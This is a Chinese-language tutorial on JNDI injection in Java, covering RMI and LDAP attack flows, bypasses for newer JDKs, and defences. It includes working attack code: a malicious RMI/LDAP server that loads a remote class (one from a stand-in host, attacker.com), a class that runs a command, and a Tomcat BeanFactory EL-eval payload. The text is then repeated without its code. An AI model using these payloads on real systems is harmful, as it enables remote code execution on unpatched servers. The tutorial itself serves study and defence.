JNDI注入学习
字数 1299 2025-08-18 17:33:11

JNDI注入攻击原理与防御详解

1. JNDI基础概念

JNDI(Java Naming and Directory Interface)是用于目录服务的Java API,它允许Java客户端通过名称发现和查找数据和资源(以Java对象的形式)。JNDI独立于底层实现,并指定了一个服务提供者接口(SPI),允许将目录服务实现插入到框架中。

2. JNDI注入原理

JNDI注入的核心在于当JNDI接口在初始化时(如InitialContext.lookup(URI)),如果URI参数可控,攻击者就可能利用这一特性实施攻击。

3. 通过RMI的JNDI注入

3.1 攻击流程

  1. 攻击者构造恶意RMI服务器
  2. 服务器向客户端返回一个Reference对象
  3. Reference对象指定从远程加载构造的恶意Factory类
  4. 客户端在lookup时从远程动态加载并实例化恶意Factory类

3.2 关键代码

// 服务端代码
Registry registry = LocateRegistry.createRegistry(7777);
Reference reference = new Reference("test", "test", "http://localhost/");
ReferenceWrapper wrapper = new ReferenceWrapper(reference);
registry.bind("calc", wrapper);

// 恶意类
public class test{
    public test() throws Exception{
        Runtime.getRuntime().exec("calc");
    }
}

// 客户端触发
new InitialContext().lookup("rmi://127.0.0.1:7777/calc");

3.3 调用栈分析

  1. NamingManager.getObjectFactoryFromReference
  2. NamingManager.getObjectInstance
  3. RegistryContext.decodeObject
  4. RegistryContext.lookup
  5. GenericURLContext.lookup
  6. InitialContext.lookup

3.4 关键点

Reference构造方法参数:

  • className - 远程加载时使用的类名
  • factory - 需要实例化的类名
  • factoryLocation - 提供classes数据的地址(支持file/ftp/http等协议)

4. 通过LDAP的JNDI注入

4.1 JDK < 8u191的利用

// 服务端代码
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL("http://attacker.com/#test")));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
ds.startListening();

// 客户端触发
new InitialContext().lookup("ldap://127.0.0.1:6666/calc");

4.2 JDK >= 8u191的绕过方法

方法一:通过反序列化

利用条件:客户端存在可用的Gadgets

// 服务端添加序列化数据
e.addAttribute("javaSerializedData", GadgetsData);

方法二:加载本地类

利用存在于CLASSPATH中的类(如Tomcat中的org.apache.naming.factory.BeanFactory

// 服务端代码
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
ref.add(new StringRefAddr("forceString", "x=eval"));
ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")"));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
registry.bind("Object", referenceWrapper);

5. 防御机制与限制

5.1 RMI限制

JDK版本限制:

  • 6u132
  • 7u122
  • 8u113

默认设置:
com.sun.jndi.rmi.object.trustURLCodebase = false

5.2 LDAP限制

JDK版本限制:

  • 11.0.1
  • 8u191
  • 7u201
  • 6u211

默认设置:
com.sun.jndi.ldap.object.trustURLCodebase = false

6. 防御建议

  1. 升级JDK到安全版本
  2. 避免使用外部可控的JNDI查找
  3. 设置系统属性限制远程代码加载:
    System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "false");
    System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "false");
    
  4. 对用户输入进行严格过滤和验证

7. 参考资源

  1. JNDI Injection: From Theory to Apply
  2. BlackHat: A Journey From JNDI LDAP Manipulation To RCE
  3. Oracle JNDI Documentation
  4. JNDI注入漏洞分析
  5. JNDI注入限制与绕过
JNDI注入攻击原理与防御详解 1. JNDI基础概念 JNDI(Java Naming and Directory Interface)是用于目录服务的Java API,它允许Java客户端通过名称发现和查找数据和资源(以Java对象的形式)。JNDI独立于底层实现,并指定了一个服务提供者接口(SPI),允许将目录服务实现插入到框架中。 2. JNDI注入原理 JNDI注入的核心在于当JNDI接口在初始化时(如 InitialContext.lookup(URI) ),如果URI参数可控,攻击者就可能利用这一特性实施攻击。 3. 通过RMI的JNDI注入 3.1 攻击流程 攻击者构造恶意RMI服务器 服务器向客户端返回一个Reference对象 Reference对象指定从远程加载构造的恶意Factory类 客户端在lookup时从远程动态加载并实例化恶意Factory类 3.2 关键代码 3.3 调用栈分析 NamingManager.getObjectFactoryFromReference NamingManager.getObjectInstance RegistryContext.decodeObject RegistryContext.lookup GenericURLContext.lookup InitialContext.lookup 3.4 关键点 Reference 构造方法参数: className - 远程加载时使用的类名 factory - 需要实例化的类名 factoryLocation - 提供classes数据的地址(支持file/ftp/http等协议) 4. 通过LDAP的JNDI注入 4.1 JDK < 8u191的利用 4.2 JDK >= 8u191的绕过方法 方法一:通过反序列化 利用条件:客户端存在可用的Gadgets 方法二:加载本地类 利用存在于CLASSPATH中的类(如Tomcat中的 org.apache.naming.factory.BeanFactory ) 5. 防御机制与限制 5.1 RMI限制 JDK版本限制: 6u132 7u122 8u113 默认设置: com.sun.jndi.rmi.object.trustURLCodebase = false 5.2 LDAP限制 JDK版本限制: 11.0.1 8u191 7u201 6u211 默认设置: com.sun.jndi.ldap.object.trustURLCodebase = false 6. 防御建议 升级JDK到安全版本 避免使用外部可控的JNDI查找 设置系统属性限制远程代码加载: 对用户输入进行严格过滤和验证 7. 参考资源 JNDI Injection: From Theory to Apply BlackHat: A Journey From JNDI LDAP Manipulation To RCE Oracle JNDI Documentation JNDI注入漏洞分析 JNDI注入限制与绕过